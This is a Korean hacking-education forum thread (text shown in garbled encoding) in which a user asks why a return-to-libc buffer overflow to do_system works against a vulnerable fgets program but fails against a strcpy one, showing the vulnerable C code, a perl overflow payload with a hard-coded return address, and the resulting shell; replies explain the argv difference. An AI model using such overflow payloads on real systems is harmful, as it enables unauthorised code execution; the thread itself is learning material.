¸®´ª½º

 3923, 1/197 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   kumi123
   do_system ±Ã±ÝÇÑ °ÍÀÌ ÀÕ½À´Ï´Ù.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_linux&no=4329 [º¹»ç]


[dark_eyes@Fedora_1stFloor ~]$ cat a.c
#include <stdio.h>

int main(int argc, char* argv[])
{
        char buf[256];
        fgets(buf, 300, stdin);


        printf("%s \n", buf);

        return 0;
}

[dark_eyes@Fedora_1stFloor ~]$ (perl -e 'print "A"x268, "\x84\x07\x75\x00"';cat)| ./a

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA„u

id
uid=502(dark_eyes) gid=502(dark_eyes) groups=502(dark_eyes) context=user_u:system_r:unconfined_t


do_system rtl ¼º°ø ( + gets µµ )


ÇÏÁö¸¸,


[dark_eyes@Fedora_1stFloor ~]$ cat b.c
#include <stdio.h>
#include "dumpcode.h"
int main(int argc, char* argv[])
{
        char buf[256];

        strcpy(buf, argv[1]);

        printf("%s \n", buf);

        dumpcode(buf, 300);
        return 0;
}

strcpyÀÇ °æ¿ì


./b `perl -e 'print "A"x268, "\x84\x07\x75\x00"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA„u
./b: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA„u: File name too long


gets, fgets --> do_system rtl ¼º°ø

strcpy, strncpy --> ½ÇÆÐ

ÀÌÀ¯°¡ ¹»±î¿ä??



  Hit : 2927     Date : 2013/08/22 04:00



    
chlxogns92 Á¦ ȯ°æ¿¡¼± µÑ´Ù exploitÀÌ ¾ÈµÇ³×¿ä..
±Ùµ¥, ¿ø·¡ do_systemÀÇ ÀÎÀÚ´Â eax·Î µé¾î°¡´Â°Å´Ï±î, mainÇÔ¼ö¸¦ return 0À¸·Î Á¾·áÇϸé exploitÀÌ ¾ÈµÇ¾ß Á¤»ó¾Æ´Ñ°¡¿ä?
2013/08/23  
blueh4g Àû¾îÁֽŠ±Û¿¡ ´äÀÌ Àִ°Ű°¾Æ¿ä ^^; filename too long 2013/08/23  
kumi123 - chlxogns92 Æäµµ¶ó3¸¸ µÇ´õ±º¿ä.. ·¹µåÇÞ9 ~ Æäµµ¶ó2 (x) Æäµµ¶ó4 (x) ÇöÀç±îÁö´Â ÀÌ·¸½À´Ï´Ù. 2013/08/26  
kumi123 - blueh4g strpcyÀÇ °æ¿ì¿¡´Â, main¿¡ ebp ret argc argv ±¸Á¶¿¡¼­ do_systemÀÌ argv¸¦ ÂüÁ¶ Çϴ°űº¿ä..
gets() °è¿­Àº, ÀӽùöÆÛ¿¡ ÆÄÀÏÀ» ÀúÀåÇß´Ù°¡ º¹»ç¸¦ ÇÏ´Ï, argv ÀÚ¸®¿¡, ÆÄÀϸíÀÌ Âª¾ÆÁö´Â ±º¿ä.
¾Ë°í³ª¸é ÀÌ·¸°Ô °£´ÜÇÑ ÀÌÀ¯µ¥ ¤Ð¤Ð, °¨»çÇÕ´Ï´Ù. ^^ ÁÁÀº°Å ¶Ç ¹è¿ì°í °¡³×¿ä..
2013/08/26  
3923   ¸®´ª½º°¡ ¼³Ä¡µÈ ÆÄÀÏÀ» ±âÁ¸ ³»Àåssd¿¡¼­ ¿ÜÀåssd·Î ¿Å±â±â      wnddkdch2004
01/16 1447
3922   VM ȯ°æ¿¡¼­ GPU »ç¿ë¹ý¿¡ ´ëÇÑ Áú¹®[1]     wuzu22
07/19 1450
3921   ¸®´ª½º °øºÎ ¹æ¹ý, ±³Àç ÃßõÇØ ÁÖ¼¼¿ä.[1]     Haike0548
05/24 1654
3920   vmware Ä®¸®¸®´ª½º Áú¹®ÀÖ¾î¿ä![2]     EgoistYI
04/05 1745
3919   ftz trainer1 ¾ÏÈ£¿ä¤Ð[1]     keeyeon
04/02 1587
3918   FTZÁ¢¼Ó¹æ¹ý[2]     tkd115
01/13 2316
3917   ¸®´ª½º john the ripper´ëÇÑ Áú¹® Á» ÇÒ°Ô¿ä     cd1641
11/20 1590
3916   ftz ȯ°æ±¸Ãà ÇÏ·Á°í Çϴµ¥ °è¼Ó ¿À·ù°¡ ¹ß»ýÇÕ´Ï´Ù. [2]     poh1207
07/10 1605
3915     [re] ftz ȯ°æ±¸Ãà ÇÏ·Á°í Çϴµ¥ °è¼Ó ¿À·ù°¡ ¹ß»ýÇÕ´Ï´Ù.      kimwoojin0952
08/02 1379
3914   x11vnc ¼³Ä¡ÈÄ, À©µµ¿ì ¾ÈµÊ. ubuntu18.04.2 LTS     localid
04/23 2125
3913   ÆÄÀÏ µð½ºÅ©¸³ÅÍ[1]     turttle2s
02/10 1585
3912   DVWA»ç¿ëÈÄ ÆÄÀ̾îÆø½º°¡¾ÈµË´Ï´Ù[1]     wlzh1313
02/07 2010
3911   ¸®´ª½º ºÎÆÃUSB Áú¹®     iioks
12/29 1704
3910   dionaea honeypot Çغ¸½ÅºÐ °è½Å°¡¿ä?     teletubbies
07/05 2347
3909   ¸®´ª½º¿¡¼­ pupy¼³Ä¡ÇÒ¶§..     redfrog
05/07 2941
3908   bootable USB ¸¸µé¶§     krimson701
03/27 2270
3907   FTZ ·ÎÄÃȯ°æ ±¸ÃàÁú¹®[1]     krimson701
03/19 2850
3906   ÇÏµå ¸µÅ©¿Í ½Éº¼¸¯ ¸µÅ©     ka0r1
12/07 2149
3905   ¸®´ª½º [1]     jeffrey4127
11/26 1881
3904   ¸®´ª½º vmware ¼³Ä¡[2]     jeffrey4127
10/31 2744
1 [2][3][4][5][6][7][8][9][10]..[197]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org